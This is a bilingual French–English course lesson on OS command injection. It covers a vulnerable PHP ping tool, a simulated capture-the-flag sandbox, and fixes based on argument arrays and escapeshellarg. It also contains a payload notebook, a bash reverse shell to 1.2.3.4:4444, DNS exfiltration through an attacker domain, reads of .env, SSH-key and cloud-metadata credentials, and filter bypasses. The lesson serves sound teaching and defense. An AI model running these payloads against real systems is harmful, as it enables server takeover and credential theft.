Le bouton « tester la connexion » qui donne le serveur entier
Un tableau de bord d'hébergement propose un utilitaire bien pratique : « Vérifier qu'un serveur répond ». Vous tapez une adresse, le site la ping et affiche le résultat. Même mécanique que l'injection SQL ou le XSS : on colle une saisie dans une chaîne confiée à un interpréteur. La différence, c'est que l'interpréteur est ici le shell système, et l'enjeu grimpe d'un cran : on ne parle plus d'une base de données ou d'un navigateur de visiteur, mais de la machine entière. Derrière, le code PHP tient en deux lignes :
$host = $_GET['host'];
echo shell_exec("ping -c 1 " . $host); // exécute la commande sur le serveur
Un visiteur curieux, lui, ne tape pas une adresse. Il tape ça :
127.0.0.1; cat /etc/passwd
Le serveur fabrique alors la chaîne ping -c 1 127.0.0.1; cat /etc/passwd et la donne au shell. Et pour le shell, le point-virgule sépare deux commandes : il lance le ping, puis cat /etc/passwd, dont il affiche le contenu dans la page.
À partir de là, l'attaquant enchaîne ce qu'il veut. ; cat /var/www/app/.env lui donne le mot de passe de la base. ; cat ~/.ssh/id_rsa, la clé SSH. Et ; bash -i >& /dev/tcp/1.2.3.4/4444 0>&1 lui ouvre carrément un shell interactif sur la machine.
C'est ça, l'injection de commandes (OS command injection) : faire exécuter vos commandes système par le serveur. Le XSS frappait le navigateur des visiteurs ; ici, c'est le serveur lui-même qui tombe. On parle d'exécution de code à distance (RCE), le pire scénario du web, et c'est une branche de l'injection (A05 de l'OWASP 2025).
Pourquoi ça marche, et les deux formes
La cause est exactement celle de l'injection SQL et du XSS : vous avez mélangé du code et des données. Vous fabriquez une chaîne de commande en y collant la saisie de l'utilisateur, puis vous la confiez à un interpréteur : le shell système (/bin/sh). Or le shell ne sait pas que 127.0.0.1 devait juste être une adresse. Il relit toute la ligne et interprète ses caractères spéciaux, peu importe d'où ils viennent.
Ces caractères, les métacaractères du shell, sont la clé de l'attaque. Ils ne servent pas à décrire une donnée, ils pilotent l'exécution :
;enchaîne deux commandes (la seconde tourne toujours).&&et||enchaînent selon le succès ou l'échec de la première.|redirige la sortie de l'une vers l'entrée de l'autre.$(...)et les accents graves`...`substituent le résultat d'une commande dans la ligne.- le retour à la ligne,
&(tâche de fond),><(redirections de fichiers)…
On distingue deux formes, selon que vous voyez le résultat ou non :
- In-band (visible) : la sortie de la commande revient dans la page, comme le
cat /etc/passwdci-dessus. Le grand confort pour l'attaquant. - Blind (aveugle) : la commande s'exécute, mais son résultat n'apparaît jamais. On la repère autrement. Par le temps :
; sleep 5retarde la réponse de 5 secondes, preuve que ça tourne. Ou par un canal annexe :; nslookup $(whoami).pirate.frdéclenche une requête DNS que l'attaquant voit arriver chez lui.
Le faux remède : « je filtre le point-virgule de la saisie » ne protège pas. Il reste |, &&, le retour à la ligne (%0a dans une URL), $(...), les accents graves… Une blacklist en oublie toujours un. La vraie parade n'est pas de nettoyer l'entrée, mais de ne jamais construire une chaîne pour le shell (section 4). On valide en entrée pour le métier ; on passe par une API sûre pour la sécurité.
À vous d'attaquer : lisez le fichier interdit
Voici un utilitaire « diagnostic réseau », vraiment vulnérable, simulé entièrement dans votre navigateur (aucune commande réelle n'est exécutée, aucun risque). Le serveur lance ping -c 1 <votre saisie> via le shell. Quelque part sur cette machine-jouet se cache un fichier /flag que le ping n'est pas censé vous montrer. Votre mission : en afficher le contenu, en glissant une commande à la suite du ping.
Sortie du serveur :
Bloqué ? Voir la solution (et de quoi explorer)
Le serveur colle votre saisie après ping -c 1. Il suffit donc de fermer la commande ping et d'en ajouter une autre avec un métacaractère :
127.0.0.1; cat /flag
Le ; sépare : le ping tourne, puis cat /flag affiche le secret. Pour explorer d'abord : 127.0.0.1; ls / liste la racine, ; whoami donne l'utilisateur, ; cat /var/www/app/.env révèle les identifiants de la base. Variantes qui marchent aussi : | cat /flag, && cat /flag, ou la substitution $(cat /flag). Dans une vraie attaque, cat /flag devient un reverse shell (section sur le butin).
Le correctif : ne jamais donner une chaîne au shell
La parade n'est pas de filtrer les métacaractères : c'est une course perdue d'avance. C'est de retirer le shell de l'équation. Le danger vient du fait qu'on passe une chaîne à un interpréteur qui la re-découpe. Appelez plutôt le programme directement, en lui donnant ses arguments un par un (un tableau d'arguments, l'argv) : il n'y a alors plus aucun shell pour interpréter quoi que ce soit. ; et $(...) deviennent de simples caractères, transmis tels quels au programme, sans le moindre pouvoir.
Pensez-y comme à la différence entre dicter une phrase entière à un assistant et lui remettre une liste de courses ligne par ligne. Dans le premier cas, les virgules et les guillemets de la phrase sont des signaux que l'assistant interprète ; dans le second, chaque ligne est un article opaque, et une virgule au milieu d'un nom de produit ne commande rien du tout. L'argv, c'est la liste de courses : chaque argument arrive séparé, et le shell n'est plus là pour y chercher un sens.
En Go, le contraste est limpide. La forme vulnérable invoque un shell ; la forme sûre passe l'argument directement :
// DANGEREUX : on construit une chaîne pour le shell
exec.Command("sh", "-c", "ping -c 1 " + host)
// SÛR : argv. "ping" reçoit host comme UN seul argument, aucun shell.
// host = "127.0.0.1; cat /flag" devient un nom d'hôte (invalide), pas une commande.
exec.Command("ping", "-c", "1", host)
Pour bien voir pourquoi ça change tout, suivons la même saisie d'attaquant, 127.0.0.1; cat /flag, dans les deux cas.
Chemin 1, via le shell (vulnérable). Vous collez la saisie dans une seule chaîne et vous la confiez à /bin/sh. Le shell la relit, voit le ; et lance deux programmes :
# la chaîne unique donnée au shell :
ping -c 1 127.0.0.1; cat /flag
# le shell la découpe et exécute : «ping -c 1 127.0.0.1» PUIS «cat /flag» ← le flag fuit
Chemin 2, via argv (sûr). Vous construisez vous-même le tableau d'arguments. Aucun shell n'entre en jeu : le système lance un seul programme, ping, avec exactement ces arguments :
# le tableau (argv) que reçoit le programme, déjà découpé :
argv[0] = "ping"
argv[1] = "-c"
argv[2] = "1"
argv[3] = "127.0.0.1; cat /flag" ← tout, le ; compris, est UN seul argument
ping essaie alors de résoudre un hôte littéralement nommé 127.0.0.1; cat /flag, échoue (« nom d'hôte inconnu »), et c'est fini. Il n'y a aucun shell pour donner un sens au ;, donc cat /flag n'existe pour personne. Le tableau d'arguments est la frontière qui empêche une donnée de redevenir du code.
En Python, même règle : on passe une liste, jamais shell=True avec une entrée utilisateur :
# DANGEREUX : subprocess.run("ping -c 1 " + host, shell=True)
# SÛR : liste d'arguments, pas de shell
subprocess.run(["ping", "-c", "1", host])
En PHP, les fonctions shell_exec, exec, system, passthru et les accents graves passent toutes par un shell. Le meilleur réflexe est de ne pas shell-outer du tout (une lib native fait souvent le travail). Si c'est inévitable, on échappe chaque argument avec escapeshellarg(), qui met la donnée entre guillemets et neutralise les métacaractères :
// SÛR : escapeshellarg() rend le host inerte, quoi qu'il contienne
$host = escapeshellarg($host); // '127.0.0.1; cat /flag' devient un seul argument cité
echo shell_exec("ping -c 1 " . $host);
Le piège des fonctions d'échappement PHP. Ne confondez pas escapeshellarg() (échappe un argument, le bon outil) avec escapeshellcmd() (échappe une commande entière). escapeshellcmd() laisse passer l'injection d'arguments : sur ping -c 1 <host>, un host valant -f 127.0.0.1 ajoute une option au ping sans aucun métacaractère, et certains binaires (find, tar, curl…) ont des options qui exécutent du code ou écrivent des fichiers. La vraie sécurité reste l'argv (pas de shell).
Défense en profondeur :
- l'API en argv (ou pas de shell-out du tout) ;
- valider et borner l'entrée par une allowlist (un host : seulement
[a-z0-9.-]et un format d'IP/domaine valide) ; - moindre privilège : le process tourne en utilisateur non-root, sans accès aux secrets voisins ;
- filtrer le réseau sortant pour qu'un reverse shell ou une exfiltration DNS échouent ;
- isolation (conteneur) pour contenir une éventuelle brèche.
Référence : OWASP OS Command Injection Defense Cheat Sheet.
La méthode et l'arsenal du pentester
Maintenant que vous savez comment défendre, retournons le scénario : comment un attaquant trouve-t-il et exploite-t-il cette faille avant vous ?
1. Repérer les points d'injection. Partout où une entrée peut finir dans une commande système : un champ « hôte » ou « ping », un nom de fichier pour une conversion (PDF, image via ImageMagick, archive), un identifiant passé à un outil externe, une fonctionnalité d'envoi de mail (sendmail), une opération git. Le réflexe : « cette valeur sert-elle à appeler un programme du système ? »
2. Détecter, même à l'aveugle. On injecte un métacaractère suivi d'un marqueur. En in-band : ; echo INJ7331 ; si INJ7331 ressort, c'est gagné. En blind, deux techniques : le temps (; sleep 5 ; si la réponse met 5 s de plus, la commande tourne) et l'out-of-band (; nslookup x.attaquant.fr ; on guette la requête DNS sur son propre serveur).
3. Contourner les filtres. Séparateur bloqué ? On en a d'autres (|, %0a, $(...), accents graves). Espaces filtrés ? ${IFS} les remplace (cat${IFS}/flag). Mot-clé blacklisté ? La concaténation le casse (c''at /fl''ag). Encore une fois, la blacklist perd toujours.
4. L'impact. Une commande système exécutée, c'est l'exécution de code à distance : tout le serveur, ses fichiers, ses secrets, son réseau interne. C'est l'objet de la section suivante.
5. L'arsenal.
- commix : le « sqlmap » de l'injection de commandes. Il détecte le point vulnérable, choisit la technique (in-band, time-based, OOB), gère les contournements et vous rend un pseudo-shell ; il sait aussi déposer un vrai reverse shell. Usage typique :
commix --url "https://cible.fr/diag?host=INJECT". - Burp Suite : intercepter, puis fuzzer le paramètre avec Intruder (liste de séparateurs et de payloads), et surtout Burp Collaborator pour capter les rappels DNS/HTTP des cas blind.
- interactsh : un serveur OOB libre, équivalent de Collaborator, pour confirmer une injection aveugle via un callback DNS/HTTP qu'on contrôle.
- netcat / Metasploit : pour écouter et recevoir le reverse shell une fois la commande passée (
nc -lvnp 4444).
Après l'exploit : le butin, et pourquoi c'est le pire scénario
Lire /flag n'est que la preuve que vous exécutez du code sur le serveur. Mais que fait vraiment un attaquant avec ce pouvoir ? Contrairement au XSS (qui reste dans le navigateur d'un visiteur), ici l'attaquant tient la machine. Voici le carnet d'après-exploitation, pour mesurer l'impact réel et savoir quoi défendre.
1. Passer d'une commande à un vrai shell (reverse shell). Exécuter une commande à la fois est inconfortable. On renvoie donc un shell interactif vers une machine que l'attaquant écoute. Le serveur se connecte vers l'extérieur (souvent autorisé, là où une connexion entrante serait bloquée) :
# injecté sur la cible : ouvre un shell vers l'attaquant
; bash -c 'bash -i >& /dev/tcp/1.2.3.4/4444 0>&1'
En face, l'attaquant écoutait : nc -lvnp 4444. Le voilà avec un terminal complet sur le serveur, comme s'il était assis devant.
2. Piller les secrets. Le premier butin, ce sont les identifiants qui ouvrent d'autres portes : .env et fichiers de config (mots de passe de base, clés d'API), clés SSH (~/.ssh/id_rsa), et sur le cloud, les credentials temporaires de l'instance via l'API de métadonnées :
cat /var/www/app/.env
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
3. Pivoter et se déplacer latéralement. Le serveur web a souvent une route vers le réseau interne (base de données, autres machines) que l'attaquant n'atteignait pas depuis Internet. Depuis le shell, il scanne et rebondit : la faille d'une seule page devient une tête de pont dans toute l'infrastructure.
4. Persister et élever ses privilèges. Il s'installe (tâche cron, clé ajoutée à authorized_keys, webshell déposé) pour revenir même après un correctif, puis cherche à passer de www-data à root (sudo mal configuré, binaire SUID, exploit noyau). À ce stade, le serveur ne lui appartient plus à moitié : il lui appartient.
Ce que ça révèle côté défense : la gravité (RCE) explique pourquoi on ne « rattrape » pas une injection de commandes par un filtre. L'empilement compte : API en argv (empêcher l'exécution), moindre privilège (un www-data sans secrets voisins ni droits sudo limite le pillage), filtrage du réseau sortant (un reverse shell et l'exfiltration DNS échouent si rien ne sort), et isolation par conteneur (la brèche reste confinée). Une seule couche ne suffit jamais (leçon 2).
Cadre légal, encore : ces commandes illustrent l'après-exploitation pour la comprendre et la défendre. On ne les lance que sur ses propres systèmes ou une cible explicitement autorisée (leçon 1). Ouvrir un shell sur un serveur tiers est un délit lourd.
Le carnet de payloads d'injection de commandes
Les classiques à glisser dans un champ pour tester (sur vos apps ou une cible autorisée). À essayer aussi dans le bac à sable plus haut.
Séparateurs et enchaînements (Unix) :
127.0.0.1; cat /etc/passwd
127.0.0.1 | id
127.0.0.1 && whoami
$(cat /etc/passwd)
`cat /etc/passwd`
Détection à l'aveugle (temps et out-of-band) :
; sleep 10
; nslookup $(whoami).attaquant.fr
Contournements de filtres (espace et retour à la ligne) :
cat${IFS}/etc/passwd
%0acat%20/etc/passwd
Windows (séparateurs différents) :
& whoami
| type C:\Windows\win.ini
Reverse shell (la charge réelle, à la place de cat) :
; bash -c 'bash -i >& /dev/tcp/1.2.3.4/4444 0>&1'
Les listes et outils. PayloadsAllTheThings (Command Injection) et le chapitre de HackTricks recensent les séparateurs, contournements et astuces par OS. Pour s'entraîner légalement : le module OS command injection de la Web Security Academy et DVWA.
Rappel. Ce carnet sert à tester/auditer, pas à se défendre : bloquer ces chaînes (blacklist) est contournable. La protection reste l'API en argv (pas de shell) + allowlist + moindre privilège. Et on ne teste que ses propres systèmes ou des plateformes autorisées (leçon 1).
The "test connection" button that hands over the whole server
A hosting dashboard offers a handy little utility: "Check that a server responds." You type an address, the site pings it and shows you the result. Same mechanic as SQL injection or XSS: user input is glued into a string and handed to an interpreter. The difference is that the interpreter here is the system shell — and the stakes jump up a level: we're no longer talking about a database or a visitor's browser, but the whole machine. Behind it, the PHP code is plain:
$host = $_GET['host'];
echo shell_exec("ping -c 1 " . $host); // runs the command on the server
A curious visitor doesn't type an address. They type this:
127.0.0.1; cat /etc/passwd
The server then builds the string ping -c 1 127.0.0.1; cat /etc/passwd and hands it to the shell. And to the shell, the semicolon separates two commands: it runs the ping, then cat /etc/passwd, whose contents it prints in the page.
From there, the attacker chains on whatever they want. ; cat /var/www/app/.env hands over the database password. ; cat ~/.ssh/id_rsa, the SSH key. And ; bash -i >& /dev/tcp/1.2.3.4/4444 0>&1 opens a full interactive shell on the machine.
That's command injection (OS command injection): making the server run your system commands. XSS hit visitors' browsers; here, the server itself falls. We call it remote code execution (RCE), the worst-case scenario on the web, and it's a branch of injection (A03 in OWASP 2025).
Why it works, and the two flavors
The cause is exactly the one from SQL injection and XSS: you mixed code and data. You build a command string by gluing user input into it, then hand it to an interpreter: the system shell (/bin/sh). But the shell doesn't know 127.0.0.1 was meant to be just an address. It re-reads the whole line and interprets its special characters, wherever they came from.
Those characters, the shell metacharacters, are the key to the attack. They don't describe data, they drive execution:
;chains two commands (the second always runs).&&and||chain based on the first one's success or failure.|pipes one command's output into another's input.$(...)and backticks`...`substitute a command's result into the line.- the newline,
&(background),><(file redirections)…
There are two flavors, by whether you see the result:
- In-band (visible): the command's output comes back in the page, like the
cat /etc/passwdabove. Total comfort for the attacker. - Blind: the command runs, but its output never shows. You spot it another way. By time:
; sleep 5delays the response by 5 seconds, proof it ran. Or by a side channel:; nslookup $(whoami).attacker.comfires a DNS request the attacker watches arrive at home.
Beware the false cure: "I filter the semicolon from the input" doesn't protect. There's still |, &&, the newline (%0a in a URL), $(...), backticks… A blacklist always misses one. The real fix isn't cleaning the input, it's to never build a string for the shell (section 4). Validate input for business rules; use a safe API for security.
Your turn to attack: read the forbidden file
Here's a "network diagnostic" utility, genuinely vulnerable, simulated entirely in your browser (no real command is run, no risk). The server launches ping -c 1 <your input> through the shell. Somewhere on this toy machine hides a /flag file the ping isn't meant to show you. Your mission: display its contents by slipping a command after the ping.
Server output:
Stuck? Show the solution (and how to explore)
The server pastes your input after ping -c 1. So just close the ping command and add another one with a metacharacter:
127.0.0.1; cat /flag
The ; separates: the ping runs, then cat /flag prints the secret. To explore first: 127.0.0.1; ls / lists the root, ; whoami gives the user, ; cat /var/www/app/.env reveals the database credentials. Variants that also work: | cat /flag, && cat /flag, or substitution $(cat /flag). In a real attack, cat /flag becomes a reverse shell (loot section).
The fix: never hand a string to the shell
The fix isn't filtering metacharacters: that's a losing race. It's to remove the shell from the equation. The danger comes from passing a string to an interpreter that re-splits it. Call the program directly instead, passing its arguments one by one (an argument array, the argv): now there's no shell left to interpret anything. ; and $(...) become plain characters, handed as-is to the program, powerless.
Think of it as the difference between dictating a full sentence to an assistant and handing them a line-by-line shopping list. In the first case, commas and quotes in the sentence are signals the assistant interprets; in the second, each line is an opaque item, and a comma in a product name commands nothing at all. argv is the shopping list: each argument arrives separately, and the shell is no longer there to read meaning into it.
In Go, the contrast is clear. The vulnerable form invokes a shell; the safe form passes the argument directly:
// DANGEROUS: building a string for the shell
exec.Command("sh", "-c", "ping -c 1 " + host)
// SAFE: argv. "ping" gets host as ONE argument, no shell.
// host = "127.0.0.1; cat /flag" becomes a (invalid) hostname, not a command.
exec.Command("ping", "-c", "1", host)
To see why this changes everything, let's trace the same attacker input, 127.0.0.1; cat /flag, down both paths.
Path 1, via the shell (vulnerable). You paste the input into a single string and hand it to /bin/sh. The shell re-reads it, sees the ;, and launches two programs:
# the single string given to the shell:
ping -c 1 127.0.0.1; cat /flag
# the shell splits it and runs: "ping -c 1 127.0.0.1" THEN "cat /flag" ← the flag leaks
Path 2, via argv (safe). You build the argument array yourself. No shell is involved: the system launches a single program, ping, with exactly these arguments:
# the array (argv) the program receives, already split:
argv[0] = "ping"
argv[1] = "-c"
argv[2] = "1"
argv[3] = "127.0.0.1; cat /flag" ← everything, the ; included, is ONE single argument
ping then tries to resolve a host literally named 127.0.0.1; cat /flag, fails ("unknown host"), and that's it. There's no shell to give the ; any meaning, so cat /flag exists for nobody. The argument array is the boundary that stops data from turning back into code.
In Python, same rule: pass a list, never shell=True with user input:
# DANGEROUS: subprocess.run("ping -c 1 " + host, shell=True)
# SAFE: argument list, no shell
subprocess.run(["ping", "-c", "1", host])
In PHP, the functions shell_exec, exec, system, passthru and backticks all go through a shell. The best move is to not shell out at all (a native library often does the job). If it's unavoidable, escape each argument with escapeshellarg(), which quotes the data and neutralizes the metacharacters:
// SAFE: escapeshellarg() makes host inert, whatever it contains
$host = escapeshellarg($host); // '127.0.0.1; cat /flag' becomes one quoted argument
echo shell_exec("ping -c 1 " . $host);
The PHP escaping trap. Don't confuse escapeshellarg() (escapes one argument, the right tool) with escapeshellcmd() (escapes a whole command). escapeshellcmd() lets argument injection through: on ping -c 1 <host>, a host of -f 127.0.0.1 adds an option to ping with no metacharacter at all, and some binaries (find, tar, curl…) have options that run code or write files. The real safety stays the argv (no shell).
Defense in depth:
- the argv API (or no shell-out at all);
- validate and bound the input with an allowlist (a host: only
[a-z0-9.-]and a valid IP/domain format); - least privilege: the process runs as a non-root user, with no access to neighboring secrets;
- filter outbound traffic so a reverse shell or DNS exfiltration fails;
- isolation (container) to contain any breach.
Reference: OWASP OS Command Injection Defense Cheat Sheet.
The pentester's method and arsenal
Now that you know how to defend, let's flip the scenario: how does an attacker find and exploit this flaw before you do?
1. Find the injection points. Anywhere input can end up in a system command: a "host" or "ping" field, a filename for a conversion (PDF, image via ImageMagick, archive), an ID passed to an external tool, a mail-sending feature (sendmail), a git operation. The reflex: "does this value get used to call a system program?"
2. Detect, even blind. Inject a metacharacter followed by a marker. In-band: ; echo INJ7331; if INJ7331 comes back, you win. When blind, two techniques: time (; sleep 5; if the response takes 5 s longer, the command ran) and out-of-band (; nslookup x.attacker.com; you watch for the DNS request on your own server).
3. Bypass the filters. Separator blocked? There are others (|, %0a, $(...), backticks). Spaces filtered? ${IFS} replaces them (cat${IFS}/flag). Keyword blacklisted? Concatenation breaks it (c''at /fl''ag). Once again, the blacklist always loses.
4. The impact. A system command executed is remote code execution: the whole server, its files, its secrets, its internal network. That's what the next section is about.
5. The arsenal.
- commix: the "sqlmap" of command injection. It detects the vulnerable point, picks the technique (in-band, time-based, OOB), handles bypasses and hands you a pseudo-shell; it can also drop a real reverse shell. Typical use:
commix --url "https://target.com/diag?host=INJECT". - Burp Suite: intercept, then fuzz the parameter with Intruder (a list of separators and payloads), and above all Burp Collaborator to catch the DNS/HTTP callbacks of blind cases.
- interactsh: a free OOB server, a Collaborator equivalent, to confirm a blind injection via a DNS/HTTP callback you control.
- netcat / Metasploit: to listen for and receive the reverse shell once the command is in (
nc -lvnp 4444).
After the exploit: the loot, and why it's the worst case
Reading /flag is just proof you run code on the server. But what does an attacker actually do with that power? Unlike XSS (which stays in a visitor's browser), here the attacker holds the machine. Here's the post-exploitation playbook, to gauge the real impact and know what to defend.
1. Go from one command to a real shell (reverse shell). Running one command at a time is awkward. So you send an interactive shell back to a machine the attacker is listening on. The server connects outward (often allowed, where an inbound connection would be blocked):
# injected on the target: opens a shell to the attacker
; bash -c 'bash -i >& /dev/tcp/1.2.3.4/4444 0>&1'
On the other end, the attacker was listening: nc -lvnp 4444. Now they have a full terminal on the server, as if sitting in front of it.
2. Loot the secrets. The first prize is the credentials that open other doors: .env and config files (database passwords, API keys), SSH keys (~/.ssh/id_rsa), and in the cloud, the instance's temporary credentials via the metadata API:
cat /var/www/app/.env
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
3. Pivot and move laterally. The web server often has a route into the internal network (database, other machines) the attacker couldn't reach from the Internet. From the shell, they scan and bounce: a single page's flaw becomes a foothold across the whole infrastructure.
4. Persist and escalate privileges. They settle in (a cron job, a key added to authorized_keys, a dropped webshell) to come back even after a fix, then try to go from www-data to root (misconfigured sudo, a SUID binary, a kernel exploit). At that point the server isn't half theirs: it's theirs.
What this reveals for defense: the severity (RCE) is why you don't "patch up" command injection with a filter. The stack matters: argv API (stop execution), least privilege (a www-data with no neighboring secrets and no sudo rights limits the looting), outbound traffic filtering (a reverse shell and DNS exfiltration fail if nothing can leave), and container isolation (the breach stays contained). One layer is never enough (lesson 2).
Legal frame, again: these commands illustrate post-exploitation to understand and defend it. Only run them on your own systems or an explicitly authorized target (lesson 1). Opening a shell on a third-party server is a serious crime.
The command injection payload notebook
The classics to drop in a field to test (on your apps or an authorized target). Try them in the sandbox above too.
Separators and chaining (Unix):
127.0.0.1; cat /etc/passwd
127.0.0.1 | id
127.0.0.1 && whoami
$(cat /etc/passwd)
`cat /etc/passwd`
Blind detection (time and out-of-band):
; sleep 10
; nslookup $(whoami).attacker.com
Filter bypasses (space and newline):
cat${IFS}/etc/passwd
%0acat%20/etc/passwd
Windows (different separators):
& whoami
| type C:\Windows\win.ini
Reverse shell (the real payload, instead of cat):
; bash -c 'bash -i >& /dev/tcp/1.2.3.4/4444 0>&1'
The lists and tools. PayloadsAllTheThings (Command Injection) and the HackTricks chapter list separators, bypasses and tricks by OS. To practice legally: the OS command injection module of the Web Security Academy and DVWA.
Reminder. This notebook is for testing/auditing, not defending: blocking these strings (blacklist) is bypassable. The protection stays the argv API (no shell) + allowlist + least privilege. And only test your own systems or authorized platforms (lesson 1).
Un dev écrit exec.Command("sh", "-c", "ping -c 1 " + host). Un autre écrit exec.Command("ping", "-c", "1", host). Avant de dérouler : lequel est vulnérable, et que se passe-t-il si host vaut 127.0.0.1; cat /flag dans chaque cas ?
Voir la réponse
Le premier est vulnérable : il lance un shell (sh -c) avec une chaîne où le ; sépare deux commandes ; le ping tourne, puis cat /flag. Le second est sûr : aucun shell n'est invoqué, host est passé comme un seul argument à ping. La chaîne 127.0.0.1; cat /flag devient alors un nom d'hôte (invalide), et le ping échoue proprement, sans rien exécuter d'autre. Règle : passer un tableau d'arguments (argv), jamais une chaîne au shell.
One dev writes exec.Command("sh", "-c", "ping -c 1 " + host). Another writes exec.Command("ping", "-c", "1", host). Before you expand: which is vulnerable, and what happens if host is 127.0.0.1; cat /flag in each case?
Show the answer
The first is vulnerable: it launches a shell (sh -c) with a string where the ; separates two commands; the ping runs, then cat /flag. The second is safe: no shell is invoked, host is passed as a single argument to ping. The string 127.0.0.1; cat /flag then becomes a (invalid) hostname, and the ping fails cleanly, running nothing else. Rule: pass an argument array (argv), never a string to the shell.
🎯 Pratique
S'entraîner (clique pour ouvrir) :
💬 Ré-explique sans regarder
Avec tes mots : pourquoi passer un tableau d'arguments à un programme (au lieu de construire une chaîne et de la donner au shell) neutralise l'injection de commandes ?
;, |, $(...)…) n'ont de sens que pour le shell, l'interpréteur qui relit la ligne de commande. Quand on construit une chaîne et qu'on la passe à un shell, ce dernier re-découpe la donnée utilisateur et obéit à ses métacaractères. En passant un tableau d'arguments (argv), le programme est appelé directement (execve), sans shell intermédiaire : la donnée arrive comme un seul argument, littéral, et ; cat /flag n'est plus qu'un texte inerte. On ne filtre pas le danger, on supprime l'interpréteur qui le rendait dangereux.🧠 Rappel libre
Sans remonter : cite trois métacaractères du shell qui enchaînent des commandes, explique la différence entre injection in-band et blind, et dis pourquoi exec.Command("ping", "-c", "1", host) est sûr.
; (enchaîne toujours), && / || (selon succès/échec), | (pipe), $(...) et accents graves (substitution). In-band : la sortie de la commande revient dans la page (on lit directement le résultat). Blind : rien ne s'affiche, on déduit l'exécution par le temps (; sleep 5) ou un canal annexe DNS/HTTP (; nslookup ...). Pourquoi l'argv est sûr : aucun shell n'est lancé, host est passé comme un seul argument littéral à ping ; les métacaractères n'ont alors aucun interpréteur pour les exécuter.⚖️ Juge le code de l'IA
Tu demandes à l'IA de sécuriser ton utilitaire ping contre l'injection de commandes. Elle répond : « Je sécurise la commande avec escapeshellcmd() avant de la passer à shell_exec : shell_exec(escapeshellcmd('ping -c 1 ' . $host)). Comme ça les métacaractères sont neutralisés. » Tu acceptes, ou tu rejettes ?
escapeshellcmd() échappe une commande entière, pas un argument. Elle bloque bien ; ou |, mais laisse passer l'injection d'arguments : un $host valant -f 127.0.0.1 ajoute une option au ping, sans aucun métacaractère, et sur d'autres binaires (find, curl…) une option peut exécuter du code ou écrire un fichier. Le bon réflexe : ne pas passer par le shell (API en argv, ex. proc_open avec un tableau), ou à défaut escapeshellarg($host) sur l'argument, plus une validation par allowlist du host. On ne neutralise pas la chaîne, on supprime le shell.ping -c 1 <saisie> via le shell. Quelle saisie lit le fichier /etc/passwd en plus du ping ?escapeshellcmd() sur la commande complète, puis shell_exec. Pourquoi est-ce insuffisant ?Vous savez faire exécuter une commande au serveur. La leçon 6 attaque l'autorisation : accéder aux données d'un autre utilisateur ou aux pages admin en changeant juste un identifiant dans l'URL. C'est le numéro 1 de l'OWASP.
Leçon 6 : Contrôle d'accès →